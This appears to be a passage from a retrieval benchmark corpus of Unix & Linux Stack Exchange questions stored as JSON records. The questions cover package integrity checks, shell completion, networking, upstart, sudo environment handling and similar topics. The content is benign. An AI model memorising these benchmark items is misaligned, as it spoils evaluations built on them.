Edition."} {"_id": "108390", "title": "validate all packages to be correct", "text": "I have two machines. One of which started to act strange lately (aptitude segfaulting, apt requiring a library named lkbm.qo.6). As the broken machine is not vital to me, I don't want to squash and reinstall it from scratch, but to investigate the problem however long it takes. So, I have second machine thats acting fine so I would like to scan all installed packages on the broken machine and have the libs hash checked against the good ones. Of course I can write a script for that, but I wanted to be sure that nobody else has solved that already. The point is that I don't trust the broken machine. While it being intruded by an outsider is unlikely in this situation I would love to have a solution that would work even then. (I'd love to add a `validation` tag, but could not find one.)"} {"_id": "120077", "title": "The ls command is not working for a directory with a huge number of files", "text": "I had a directory which had around **5 million** files. When I tried to run the `ls` command from inside this directory, my system consumed a huge amount of memory and it hung after sometime. Is there an efficient way to list the files other than using the `ls` command?"} {"_id": "72291", "title": "Is Openbox a non-reparenting window manager?", "text": "Installing jre7-openjdk prints this message: > when you use a non-reparenting window manager set > _JAVA_AWT_WM_NONREPARENTING=1 in /etc/profile.d/jre.sh My WM is openbox, have I to edit the file?"} {"_id": "103423", "title": "Remotely accessing cassandra running on local loopback IP/port 127.0.0.1", "text": "I have been using ccm for some time and it's pretty awesome tool to test out admin stuff. Now, I really want to test modeling data by trying to access ccm running cassandra using Thrift based pycassaShell client from remote hosts (not locally). My setup is like this: Lets say, private IP of this machine is: 10.11.12.13 (Just an example) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:67392708 errors:0 dropped:0 overruns:0 frame:0 TX packets:67392708 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:7398829042 (6.8 GiB) TX bytes:7398829042 (6.8 GiB) lo:1 Link encap:Local Loopback inet addr:127.0.0.2 Mask:255.255.255.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 lo:2 Link encap:Local Loopback inet addr:127.0.0.3 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 lo:3 Link encap:Local Loopback inet addr:127.0.0.4 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 and 127.0.0.1 (node1), 127.0.0.2 (node2), 127.0.0.3 (node3), 127.0.0.4 (node4) $ ccm status node1: UP node3: UP node2: UP node4: UP How to connect to any of the instance from non-local hosts? When I do: pycassaShell --host 10.11.12.13 --port 9160, it throws an exception, thrift.transport.TTransport.TTransportException: Could not connect to 10.11.12.13:9160 Is there a way to make it work? ### References In case you're unfamiliar,CCM, or Cassandra Cluster Manager is a script for managing instances of Cassandra nodes. _excerpt_ > A script/library to create, launch and remove a Apache Cassandra cluster on > localhost. > > The goal of ccm and ccmlib is to make is easy to create, manage and destroy > a small cluster on a local box. It is meant for testing of a Cassandra > cluster."} {"_id": "79245", "title": "Linux Mint 15 no audio with NVidia MCP51", "text": "I updated from Linux Mint 14 to 15 recently, and since then my audio driver seems to be gone or nonfunctional. I don't have a ton of experience with drivers under Linux (grew up a Windows guy), but the couple of drivers I attempted to install haven't worked. lspci gives me 00:10.1 Audio device [0403]: NVIDIA Corporation MCP51 High Definition Audio [10de:026c] (rev a2) Subsystem: Hewlett-Packard Company Presario V3242AU [103c:30b5] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- `\\p{Zs}` or `\\p{Space_Separator}`: a whitespace character that is invisible, > but does take up space So I wonder if I got this right: a `Whitespace Character` * is the 'empty' space between two words, columns, lines, whatever * it's 'invisible' in so far as it contains nothing than the blank paper \u2044 screen * it 'takes up space' in so far as the place taken through it can't be occupied through a letter, symbol, anything comparable According to this I came to the following **questions** : * **are there ' _visible_ whitespace characters'** * **could a whitespace character ' _take no space up_ '** This would be quite the opposite of what is defined. Both make perfectly sense, but then both could describe the same, depending on the point of view: an empty space is visible through the absence of anything displayed there except the blank paper \u2044 screen but then it is invisible as there is nothing to see. At this point I sense a border with Philosophy: How does one measure the amount of Nothingness than through it's counterpart, or so."} {"_id": "72297", "title": "Grub does not fit the screen", "text": "I have a problem with my grub installation. The screen is \"moved\" to the left a couple of pixels, which means that I cannot read the first 20 or so characters of the entries when I boot. I'm running: Grub 1.99.21-ubuntu (the system is a Kubuntu 12.04). My video card is a Radeon HD 5400, running @ 1920x1080. My monitor, if it makes a difference is a Samsung SyncMaster P2470HN . When the boot process start itself (with the kubuntu log) the screen fits normally. Also, my other terminals (TTY1-6) suffers from the same problems."} {"_id": "79240", "title": "Starting screensaver from terminal", "text": "I like the 'Black Screen' screen-saver. Because it makes the monitor look like turned-off. But my CentOS takes minimum 1 min. to start it automatically. Can I start it instantly from the terminal? I sometimes need this feature while working with 2 monitors with two different OS. CentOS is on my VNC."} {"_id": "132291", "title": "Process owner vs process user (Gnome's system monitor)", "text": "Gnome's system monitor has a \"User\" column in the Processes tab. There's also an \"Owner\" column, (that seems to be hidden by default). Most of the processes have the same values on both columns. However, a few don't. I was wondering what exactly does each column show, and what's the difference between the two."} {"_id": "132290", "title": "git completion with zsh: filenames with spaces aren't being escaped properly", "text": "Git completion: I'm having difficulty with git's filename autocompletions on my system. I'm using `zsh` (5.0.5) with `git` (1.9.3) on OS X (10.9.3). Both `zsh` and `git` have been installed via homebrew. (Full version output are at the bottom of the post.) `git`'s filename completion isn't inserting spaces like I expect. When I type the name of a file with a space in the name, the shell inserts the filename without spaces escaped. `zsh`'s built-in completion doesn't do this, but `git`'s does. Here's an example of what I'm seeing. I have a repository with a few files with spaces in their names. % ls -la test test four - latest.txt test three.txt test two The shell backslash escapes the filenames as expected when I use tab completion to insert the file name. % echo \"testing\" >> test autocompletes to this after hitting tab three times. % echo \"testing\" >> test\\ four\\ -\\ latest.txt \u2013\u2013\u2013 file test test\\ four\\ -\\ latest.txt test\\ three.txt test\\ two `git status` shows these filenames in quotes (it totally understands what's up): % git status --short M test M \"test four - latest.txt\" M \"test three.txt\" M \"test two\" but when I try to `git add` with tab autocompletion, it goes sideways. % git add test results in this after hitting tab three times: % git add test four - latest.txt test test four - latest.txt test three.txt test two I've tried regressing this a bit: my dotfiles are in version control, so I've tried `zsh 4.3.15`, `git 1.8.3`, and my dotfiles from a year ago, when I'm nearly certain this worked. Weirdly, this setup was still broken. I _have_ narrowed it down to the `_git` completion file that is being sourced from `/usr/local/share/zsh/site-functions`: % echo $FPATH /usr/local/share/zsh/site-functions:/usr/local/Cellar/zsh/5.0.5/share/zsh/functions % ls -l /usr/local/share/zsh/site-functions _git@ -> ../../../Cellar/git/1.9.3/share/zsh/site-functions/_git _hg@ -> ../../../Cellar/mercurial/3.0/share/zsh/site-functions/_hg _j@ -> ../../../Cellar/autojump/21.7.1/share/zsh/site-functions/_j git-completion.bash@ -> ../../../Cellar/git/1.9.3/share/zsh/site-functions/git-completion.bash go@ -> ../../../Cellar/go/HEAD/share/zsh/site-functions/go If I manually change `$FPATH` before my `.zshrc` runs `compinit` (or simply remove the `/usr/local/share/zsh/site-functions/_git` symbolic link), then completions fall back to `zsh` and work as expected. The `zsh` completion without `_git`: % git add test hitting tab three times produces correct results: % git add test\\ four\\ -\\ latest.txt \u2013\u2013\u2013 modified file test test\\ four\\ -\\ latest.txt test\\ three.txt test\\ two Side note: I've tried removing the `git-completion.bash` link, and it just totally breaks things: % git add test produces this busted-ness: % git add test__git_zsh_bash_func:9: command not found: __git_aliased_command git add test \u2013\u2013\u2013 file test test\\ four\\ -\\ latest.txt test\\ three.txt test\\ two * * * I **really** want to get this working properly: the rest of the `_git` completions were great because they're more repo-aware than the `zsh` ones, but I need filenames with spaces or other special characters to be properly escaped. * * * Software versions: % zsh --version zsh 5.0.5 (x86_64-apple-darwin13.0.0) % git --version git version 1.9.3 % sw_vers ProductName: Mac OS X ProductVersion: 10.9.3 BuildVersion: 13D65 * * * I've uploaded the `_git` and `git-completion.bash` files: git-completion.bash and _git (renamed to `_git.sh` so CloudApp will make it viewable in the browser.)"} {"_id": "132293", "title": "How to have command history with timestamps output to the terminal continuously?", "text": "I use a simple _alias_ to enable the \"tracking\" of commands in one or many terminal window(s): alias trackmi='export PROMPT_COMMAND=\"history -a; $PROMPT_COMMAND\"' Then I just `tail -f` my _.bash_history_ file in another terminal on the workspace to get immediate feedback. I have just enabled unlimited history and updated my history format (`export HISTTIMEFORMAT=\"[%F %T] \"`) in _.bashrc_. Of course the `history` command displays the timestamps. But the format the history file per se is: #1401234303 alias #1401234486 cat ../.bashrc How can I have the Unix time converted and the whole command displayed on a single line just like with the `history` command, including numbering: 578 [2014-05-27 19:45:03] alias 579 [2014-05-27 19:48:06] cat ../.bashrc ...and follow that. Or find a way to continuously output the output of the `history` command to the terminal?"} {"_id": "79248", "title": "What graphical launcher program can I use?", "text": "I have the following setup: I am running Ubuntu on VirtualBox in a Windows Environment. I am using Xming launcher to start xterm from Ubuntu as a client from where I can launch other graphical programs. However, starting multiple programs from xterm with `&` means that the xterm window receives the output from the other applications and becomes very cluttered. Is there some other program I can run in the Ubuntu system that acts as a graphical launcher/tray for other apps?"} {"_id": "111853", "title": "How to disable Network and Bluetooth driver loading", "text": "I dont need Bluetooth and Ethernet. SO I want that the next time I boot my system the OS do not waste time in loading corresponding drivers. How do I do in general in any linux flavor ?"} {"_id": "131924", "title": "Gnome mouse focus stops working", "text": "When using Linux, I normally set the focus mode to follow my mouse. As far back as I can remember, there is something wrong with this in Gnome3, it just stops working and I have to restart Gnome3 for it to come back. This happens in Ubuntu, Debian and Fedora at least. Any idea how to prevent this?. This is how I normally enable focus follow mouse in the first place: settings set org.gnome.desktop.wm.preferences focus-mode sloppy"} {"_id": "111858", "title": "Randomizing the source port for new connections", "text": "Generally whenever source port is selected by a network application, it is selected in a sequential manner among the free ports like 32000, 32001 and so on. I want to randomize the source port selection. I tried this using iptables as follows but this didnt help. Chain POSTROUTING (policy ACCEPT 462 packets, 31025 bytes) 743 44580 MASQUERADE tcp -- * !lo 0.0.0.0/0 0.0.0.0/0 masq ports: 32768-61000 random Can someone help me in solving this."} {"_id": "111859", "title": "openSuSE power management from command line", "text": "I'm using openSuSE 13.1 as a text-only server on an old netbook. A couple days ago, I was able to set it so that it didn't suspend or power down when the lid closed. I had to reinstall the OS today, and now for the life of me I can't get that setting to work again. The best lead I've found is to change `HandleLidSwitch=suspend` to `HandleLidSwitch=ignore` in /etc/systemd/logind.conf. I've done that, but it didn't fix it. (Yes, restarted systemd-logind and rebooted machine). Some of the other forums give clear directions on how to do this with a graphical desktop, but there doesn't seem to be much help on how to do it from the command line. Does anyone know the best method to do power management from the command line on openSuSE 13?"} {"_id": "115539", "title": "Playing or converting .dv4 files in Linux", "text": "I need to find a way to playback a number of .dv4 files on Ubuntu 12.04 and Fedora 20, possibly after having converted them to a more conventional format. So far I have managed to convert the files with mencoder -fps 25 ./input.dv4 -ovc copy -oac copy -o ./output.avi which does a decent job, as does going the `mplayer` way: mplayer -fps input.dv4 The problem I'm facing is that the output video in both cases has no timestamp characteristic of most CCTV videos, having which is crucial for my purposes. The question, then, is how to get that timestamp in the output file. EDIT: I'm not, by the way, completely certain that I'm using the term \"timestamp\" correctly: what I mean is the date-and-time line, depicted in the running video, of the recorded event(s). I'm including a link to a sample file. https://dl.dropboxusercontent.com/u/37327335/input.dv4"} {"_id": "115538", "title": "Set list of applications allowed for execution by unprivileged user", "text": "I am working on a project of security enforced Linux-based system (kernel 2.6.32 + Gnome 2 + Centos package base mostly). We need to implement the restriction of execution of unallowed executables. Source compiling, package building, scripting and `chmod +x` command will be prohibited in this system. Briefly speaking we need to **restrict any execution by default** for a unprivileged (non root) user excepting the very short list of user-space application (X.org, office, browser etc). I guess that it's not enough to use discretionary access control in this case, rather it should be a kind of a mandatory access control superstructure. What is a preferable way to work it out? I heard something about SELinux and ACL rules but I'm not shure.Thank you."} {"_id": "35319", "title": "CentOS Apache virtual hosts sites-available type structure", "text": "I just set up LAMP on a new CentOS server. Previously when I installed LAMP on Ubuntu, I always needed to create a virtual host definition for each website I create in my `/var/www` directory. But on CentOS, I realised once I put my website into my `/var/www` directory, it's immediately visible on my browser. I included this directive: `Include conf/vhosts/*.conf` in my `httpd.conf` file in order to define virtual hosts for specific sites. Inside my vhost directory, I have defined my `*.conf` files. Can anyone tell me what needs to be edited, possibly in `httpd.conf`, to stop sites that don't have an individual `/vhosts/*.conf` file from displaying when visited? Below is my default virtual host definition information which I amend for each new site: ServerAdmin webmaster@dummy-host.example.com DocumentRoot var/www/aSite ServerName myServer ErrorLog var/www/aSite/logs/error_log CustomLog var/www/aSite/logs/access_log common "} {"_id": "35311", "title": "How do you extract a single folder from a large tar.gz archive?", "text": "I am using this command on a **5GB** archive tar -zxvf archive.tar.gz /folder/in/archive is this the correct way to do this? It seems to be taking forever with no command line output..."} {"_id": "110156", "title": "Increase nice value for many processes", "text": "Say I have launched a couple of non-timecritical applications such as a text editor a web browser etc and one more time critical (audio)application. Is there a utility that simulates the opposite of nice by increasing nice value for all my other process or do I need to write a script for that."} {"_id": "35313", "title": "Host unreachable and I do not get why", "text": "I can not open a specific website. This is a website hosted by our company, and I know it is up. However, these are my symptoms: VARIABLES: host.com - the website I can not open x.x.x.x - the IP of host.com 192.168.0.121 - the IP of my local machine 192.168.0.1 - the gateway IP that gives access to internet * If I go to the browser and open `http://host.com`, then it gives me an error (Unable to Connect in Firefox; Page not Available in Chrome) * If I run `ping host.com`, it returns: > > PING host.com (x.x.x.x) 56(84) bytes of data. > From 192.168.0.121 icmp_seq=1 Destination Host Unreachable > From 192.168.0.121 icmp_seq=2 Destination Host Unreachable > From 192.168.0.121 icmp_seq=3 Destination Host Unreachable > Please note that `192.168.0.121` is the IP of my own machine. * A traceroute will also fail miserably: > > $ traceroute host.com > traceroute to host.com (x.x.x.x), 30 hops max, 52 byte packets > 1 192.168.0.121 (192.168.0.121) 3008.068 ms !H 3007.312 ms !H > 3009.967 ms !H > And I have already checked the following: * The website is available just fine from any other computer in our network * If I try to ping or traceroute the IP directly, the results are the same * This IP or website is not listed in my `/etc/hosts` * There is no firewall rule interfering. I even flushed all rules and tried again; same results. What can it be? EDIT: Connectivity to this particular IP just came back. I can now connect to this website again. But this has happened before: I can connect, and then I cannot connect. It comes and goes, whereas for other computers in the network and for all other people in the public, this site is online all the time. EDIT 2: The problem is back. We just had an internet failure and have reset the router, and on all computers internet works just fine. On my computer, internet itself is also fine. It's just this particular domain name. I expect this to mysteriously work again in half an hour or so, but in the meantime I try to debug this issue. Here come some data as requested: $ netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 eth0 192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 $ nslookup host.com Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: host.com Address: x.x.x.x (this is the right IP) $ ip route get x.x.x.x x.x.x.x dev eth0 src 192.168.0.121 cache ipid 0xc740 rtt 1.71s rttvar 1.025s cwnd 10 $ ip route get 192.168.0.121 local 192.168.0.121 dev lo src 192.168.0.121 cache ipid 0xf209"} {"_id": "35312", "title": "Find all postgresql and mysql databases on a system", "text": "Is there a way to find all postgresql and mysql databases on my system? (Perhaps using the find command)."} {"_id": "35314", "title": "Combining Awk with Curl", "text": "How would I set my `curl` statement so that it puts the value of each `$3` in for the username, and the value of each `$4` for the wallclock information? ### Some further information I am trying to take the username and wallclock information and `curl` it into a system admin app on a website. Here is what I have so far ~/qacct.monthly | awk '{print $3}''{print $4}' Yields this output: (where `$3` = owner and `$4` = wallclock) OWNER WALLCLOCK =================================================================== adeluca 1610 athardin 1 axelsone 18707336 bfinley 1875 bihe 9918667 brogers 108710282 ckbui 10 ctokheim 2445 dliang 6470745 gaolong 3395364 htrn 1 jchen12 13475380 jdereus 1086617 jiangp 24343174 jinkwang 30733663 johnsonhj 58967432 joneskl 32085365 jongkwki 47160388 jwpark 101601184 keefeh 2 ktan 13484388 litd 2031229 lteng 3882281 luhon 32500508 lvantol 66959 lwen 1272867 mama 4635850 mariettaj 44247412 msscully 64419431 nkumr 6 piersonr 454978875 rhylock 187877 rjconnel 57 root 65 sbonett 2388132 shishen 114025934 tbair 1363490 tnath 9196673 wanj 53041427 wassinkt 376268 wdeng 949336 wpmcdowe 5360475 zeiene 159442263 zhaok 3609429 Here is my `curl` statement: curl -d 'cluster=&username=&wallclock=' \\ 'https://www-dev.****.****.edu/****SysAdmin/****sysadmin/clusterusage/rest/update.html';"} {"_id": "23182", "title": "ubuntu like lightdm in arch linux", "text": "I have just installed archlinux on a virtual machine and I managed to install lightdm by following the instructions given in https://wiki.archlinux.org/index.php/LightDM https://wiki.archlinux.org/index.php/Display_Manager but lightdm looks like this ![default lightdm looks](http://i.stack.imgur.com/4DplU.png) But I want it to look like the default one in ubuntu ![Ubuntu default lightdm](http://i.stack.imgur.com/RMxst.jpg) How can that be done ? Ps: I am running xfce4 as the desktop Environment"} {"_id": "132747", "title": "How to set up an Internet Connection in Linux Mint?", "text": "My machine has wired Internet connection with Windows 7 OS. In connection properties I see service name : ispone obtain IP address automatically obtain DNS server address automatically How do I step above connection in Linux Mint (16 Cinnamon, installed on USB (16 GB)) What I have tried dhclient /etc/dhcp3/dhclient.cof sudo gedit /etc/network/interfaces auto eth0 iface eth0 inet dhcp sudo ifconfig eth0 down sudo ifconfig eth0 up but nothing works."} {"_id": "23186", "title": "gawk join two TSV by columns (a'la sql join)", "text": "How to join, to tsv files, examples: a.tsv c 7 r z d 6 s w f 1 f f b 8 p y a 9 q x b.tsv a q a c r ccc b p bb 0 0 0 d s dddd Here I'd like to \"join\" them by columns, `where a$1,a$3==b$1,b$2` and display rest (a$2,a$4,b$3) : 6 w dddd 9 x a 8 y bb 7 z ccc Question is: how would you do this in gawk ? **Order of rows does not metter** (in output. In input, order of rows is not defined and can be different in a.tsv and b.tsv - like rows in relational db, they have no order). _Uniqueness note_ : Originally, I assumed \"uniqueness of `key={a$1,a$3}`. As glenn jackman noticed - it can not be assumed from original problem statement, as it allows not unique rows according to any key - thanks glenn."} {"_id": "132748", "title": "sudo not preserving PS1", "text": "The configuration below is in my `/etc/sudoers`: Defaults !visiblepw Defaults always_set_home Defaults env_reset Defaults env_keep = \"COLORS EDITOR DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS\" Defaults env_keep += \"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\" Defaults env_keep += \"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\" Defaults env_keep += \"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\" Defaults env_keep += \"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\" Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin When I `sudo su` my `PS1` terminal changes to the system default; ignoring my `.bashrc` `PS1` setting. How can I fix this so that the environment variables are not lost when `sudo su`ing? Weird; it's exporting `EDITOR` but it's not exporting `PS1` for some reason; it's like it's being forcefully overridden; how can I stop this? When I run `sudo -V` the variables to keep `PS1` is listed; it's not listed in the variables to remove."} {"_id": "30895", "title": "Network Interfaces Don't Exist After Loading Modules", "text": "I installed SourceMage Linux on my laptop and the ethernet and wireless interfaces don't exist after loading the required modules (`tg3` and `ath9k`). On other distros (Xubuntu, aptosid) the networking worked. `lspci`: 02:00.0 Ethernet controller: Broadcom Corporation Device 1692 (rev 01) 08:00.0 Network controller: Atheros Communications Inc. Device 002e (rev 01)"} {"_id": "87821", "title": "How to specify a daemon shutdown command with upstart?", "text": "In an upstart configuration how do I define what command should be used to shutdown a server. Lets say I have daemon that has two seperate processes. * startup.sh - to start the server * shutdown.sh - to shut down the server Suppose I have an upstart file that looks like this. description \"Some Example Service\" author \"Me\" start on runlevel [2345] stop on runlevel [016] respawn exec satrtup.sh How do I tell upstart that it should called shutdown.sh when shutting down the server? How does upstart normally expect to shut down a daemon?"} {"_id": "30890", "title": "setting up yum in stripped down linux", "text": "I have a box that contains minimal binaries needed to run Scientific Linux. What I want to do is to install additional programs. I could get rpm installed and tried to install yum but resolving those dependencies is a pain. Is there any easy way to do this?. What I want is to have all these basic utilities installed without much effort.At least if I could get yum to work without manually resolving each dependencies that would be great. I don't have physical access to the box."} {"_id": "87828", "title": "Not able to run vnstat unless as root in debian 7", "text": "So, I need to run this command: vnstat -tr 2 But as a user I just created, not as root, as root it works fine, but as a regular user I get this: Error: Unable to get interface \"eth0\" statistics. Error: Interface \"eth0\" not available, exiting. On Debian 6 there wasn't this restriction, how do I remove it? Sounds like a permissions problem."} {"_id": "87829", "title": "Difference between virtual interfaces with ifconfig and iproute2", "text": "I am wondering what is the difference between: # ifconfig eth0:0 1.1.1.1/24 and just # ip addr add 1.1.1.1/24 dev eth0 Btw I cannot do # ip addr add 1.1.1.1/24 dev eth0:0 RTNETLINK answers: File exists In `ip addr show` it appears differently : eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 8c:ae:4c:fe:1f:75 brd ff:ff:ff:ff:ff:ff inet 1.1.1.1/24 brd 1.1.1.255 scope global eth0:0 ---> with ifconfig inet 2.2.2.2/24 scope global eth0 ----> with ip When should I prefer the first way and when should I prefer the second way? It seems more cool to"} {"_id": "68410", "title": "How to format USB drive in Linux Mint 14 with GUI?", "text": "I'm new to Linux Mint and I've just installed Linux Mint 14. Now I need to format my USB drive, but I'm not getting any option to do that. Please suggest me anyone, how can I do that with a GUI?"} {"_id": "148861", "title": "Proper file system for an External Hard Drive to work well on Linux", "text": "I have a External Hard Drive (EHD) I want to use to backup the data on my Linux laptop. I want to know how I should format my EHD for it to work correctly with Linux. Thanks."} {"_id": "25921", "title": "How can I run a specific command for each find result?", "text": "How would one run a specific command for each file that was found by using the `find` command? For the purpose of the question lets say that I would simply like to delete each file found by `find`. I am unix/linux noob so be gentle with me."} {"_id": "107285", "title": "tinyproxy with user authentification", "text": "Does anybody have a solution that'll make tinyproxy work with user authentification like `pam_auth` at the squid proxy? I don't want to create a SSH-Tunnel and allow only localhost."} {"_id": "25926", "title": "Can I fix bad blocks on my hard disk with a single command?", "text": "I'm working on fixing the errors in my Hard Disk, It's possible to do that manually but it might take hours. After typing this command `sudo badblocks -b 512 /dev/sda`, I got hundreds of results and I want to avoid fixing them manually. More details about my error can be found here So is there any tool I can use to fix the errors? Or maybe you could help me write a shell script?"} {"_id": "92362", "title": "Creating temp file vs process substituion vs variable expansion?", "text": "If I am doing something like 1. creating temporary file some process generating output > temp_file cat temp_file 2. process substitution: cat <(some process generating output) 3. another way : cat <<<(some process generating output) I have some doubts regarding these: 1. Is there any limit on data output size of process substitution`<()` `>()` or variable expansion `<<<()` 2. Which among these is the fastest or is there a way to do it faster? My ulimit command output is : bash-3.00$ ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited file size (blocks, -f) unlimited open files (-n) 256 pipe size (512 bytes, -p) 10 stack size (kbytes, -s) 8480 cpu time (seconds, -t) unlimited max user processes (-u) 8053 virtual memory (kbytes, -v) unlimited"} {"_id": "92742", "title": "bash_history: comment out dangerous commands: `#`", "text": "To prevent logging \"dangerous\" commands in bash history, I have added following line to my `.bashrc` file: HISTIGNORE='rm *:mv *:cp *:cat*>*:pv*>*' this works well, but it has a side effect: I cannot see the complete history of commands executed on a machine. Let's say I have several machines for experiments, and I want to be able to see all commands executed. I would use the bash internal `history` to display executed commands, and perhaps grep for today's date: history | grep Sep-28 What I would like do have is to log \"dangerous\" commands as well, but put a `#` at the beginning of the line, so that if I happen to execute the command from history by mistake, no damage would be done. I have no idea if this is possible. Any comment would be greatly appreciated. ## Update and clarification: The main reason why this is a problem for me is that I am usually connected to my machine from several terminals, and any command executed on one terminal is immediately read into history of other terminals. This is achieved by PROMPT_COMMAND=\"history -a; history -c; history -r\" Lets imagine I have two terminals open. In one I have some `cat /dev/foo > file.out` process running. In the second, I check the progress with `ls -lAhF`. I keep repeating `ls` by pressing `Up` and `ENTER` (that is, last command from history). As soon as the first command finishes, the last command from history is no longer `ls`, but `cat /dev/foo > file.out`. If I am not careful, I will start cat again and overwrite file.out. What I would like to achieve is that the cat command would be preceded with a `#`, so that it would not be executed. I would however still see it in history and can reuse it (if it is a long command) by un-commenting it."} {"_id": "153605", "title": "How to do calculation on eval variables in shell script", "text": "I want to do mathematical operations on eval variables in shell script, but it is not working. query=first eval avgOverall$query[1]=28.5 avgOverall=$((\"`eval echo '${avgOverall'$query'[1]}'`+1\")) | bc But I am getting below error bash: \"28.5+1\": syntax error: operand expected (error token is \"\"28.5+1\"\") What am I doing wrong?"} {"_id": "23459", "title": "grep caret appears to have no effect", "text": "I was under the impression that a caret symbol means \"beginning of the line\" with Extended POSIX regular expressions. However, when I use it with grep it behaves unexpectedly. #grep --version GNU grep 2.5.4 ... I am using GNU grep 2.5.4 on Ubuntu 10.04 Lucid Lynx. I echo out a line ' hello', then pipe it to a grep that searches for \"zero-or- more white-space characters followed by the letter h\": #echo ' hello' | grep -E '[:space:]*h' hello grep finds it ok. If I add a caret to indicate that I only want the pattern to match \"zero-or- more white-space characters followed by the letter h\" \"at the beginning of the string\": #echo ' hello' | grep -E '^[:space:]*h' # No matches are found. I would expect the string to have matched because it begins with `white-space` followed by `h`. Why does this caret symbol prevent a match?"} {"_id": "72434", "title": "Will GNOME and GTK libs bloat up my KDE?", "text": "I want to use Shutter. I installed it previously under Kubuntu and it needed a lot of libs. What bothered me most was that Kubuntu wanted me to restart, that is rare for OS's nowadays and in general means that something was added to startup procedures. So will these libs bloat my KDE up and get loaded even if I don't start Shutter? To be clear, as long as it's only disk space that not what I mean by bloat. Please take this more as a general question about installing GNOME apps on KDE and not so much about Shutter and the libs it needs. Maybe you can help me understand the technical background a bit better."} {"_id": "72437", "title": "How to grant non-root user access to device files", "text": "I have device file that appears in `/dev` when a specific board is plugged in. The read and write operations to it work just fine, but in order to open the device file the program needs to be executed with root priveledges. Is there any way I can all a non-root user to open this one specific device file without having to use sudo?"} {"_id": "140175", "title": "Normal looking text file, detected by file as ASCII Pascal program text", "text": "I have a \"normal\" looking text file (contains english sentences) which is getting detected by `file` command as `ASCII Pascal program text`. How does Pascal program text differentiate itself from normal ASCII English text? I did `head -10 file > tmp` `file tmp` still shows `Pascal`. `tmp` when opened in VI and `:set list` HELEN'S BABIES$ $ With some account of their ways, innocent, crafty, angelic, impish,$ witching and impulsive; also a partial record of their actions during$ ten days of their existence$ $ By JOHN HABBERTON$ $ $ $ Output of `head file | od -c` 0000000 H E L E N ' S B A B I E S \\n \\n 0000020 W i t h s o m e a c c o u n 0000040 t o f t h e i r w a y s , 0000060 i n n o c e n t , c r a f t 0000100 y , a n g e l i c , i m p i 0000120 s h , \\n w i t c h i n g a n d 0000140 i m p u l s i v e ; a l s o 0000160 a p a r t i a l r e c o r 0000200 d o f t h e i r a c t i o 0000220 n s d u r i n g \\n t e n d a 0000240 y s o f t h e i r e x i s 0000260 t e n c e \\n \\n B y J O H N H 0000300 A B B E R T O N \\n \\n \\n \\n 0000314 File uploaded here: http://www.fileswap.com/dl/L0eCWJTvy/ I'm on `CentOS release 6.5`, `file` version `5.04` **There is something in the 4th line. Removing from 4th line onwards detects it as only text file**"} {"_id": "140174", "title": "Rebuilt kmod package not updating via `YUM` but is via `rpm`", "text": "I have built a package with the following version: kmod-dahdi-linux 10:2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686 Which should be an upgrade of the one installed on the system: kmod-dahdi-linux 0:2.9.0.1-72_centos6.2.6.32_431.el6.i686 when I do a `yum localupdate` I get the following: Resolving Dependencies --> Running transaction check ---> Package kmod-dahdi-linux.i686 0:2.9.0.1-72_centos6.2.6.32_431.el6.i686 will be updated ---> Package kmod-dahdi-linux.i686 10:2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686 will be an update --> Finished Dependency Resolution But when it hits the transaction check, I get file conflicts like it's not updating the package, but installing it side-by-side, as seen here: file /lib/modules/2.6.32-431.el6.i686/dahdi/dahdi.ko from install of kmod-dahdi-linux-10:2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686.i686 conflicts with file from package kmod-dahdi-linux-2.9.0.1-72_centos6.2.6.32_431.el6.i686.i686 I've tried obsoletes for older versions, I've tried upping the Epoch (as you can see mine has an epoch of 10 now) When I do: rpm -Uvh kmod-dahdi-linux-2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686.i686.rpm it upgrades properly. I've double checked the rpmversion shows as newer: # rpmdev-vercmp 0:2.9.0.1-72_centos6.2.6.32_431.el6.i686 10:2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686 10:2.9.1.1-75_shmz65.1.11.2.6.32_431.el6.i686 is newer Any ideas? Additional information: I've re-tooled my RPM to have the exact same dist tag and it still fails. # yum localupdate kmod-dahdi-linux-2.9.1.1-11_centos6.2.6.32_431.el6.i686.i686.rpm Resolving Dependencies --> Running transaction check ---> Package kmod-dahdi-linux.i686 0:2.9.0.1-72_centos6.2.6.32_431.el6.i686 will be updated ---> Package kmod-dahdi-linux.i686 0:2.9.1.1-11_centos6.2.6.32_431.el6.i686 will be an update --> Finished Dependency Resolution Transaction Check Error: file /lib/modules/2.6.32-431.el6.i686/dahdi/dahdi.ko from install of kmod-dahdi-linux-2.9.1.1-11_centos6.2.6.32_431.el6.i686.i686 conflicts with file from package kmod-dahdi-linux-2.9.0.1-72_centos6.2.6.32_431.el6.i686.i686"} {"_id": "72433", "title": "Spotty wireless with Fedora", "text": "I have this Toshiba laptop I started poking around trying to find out why it quits out so often and is just so bad. This guy seems to have the same problem with the fact that it works perfect in Windows and it 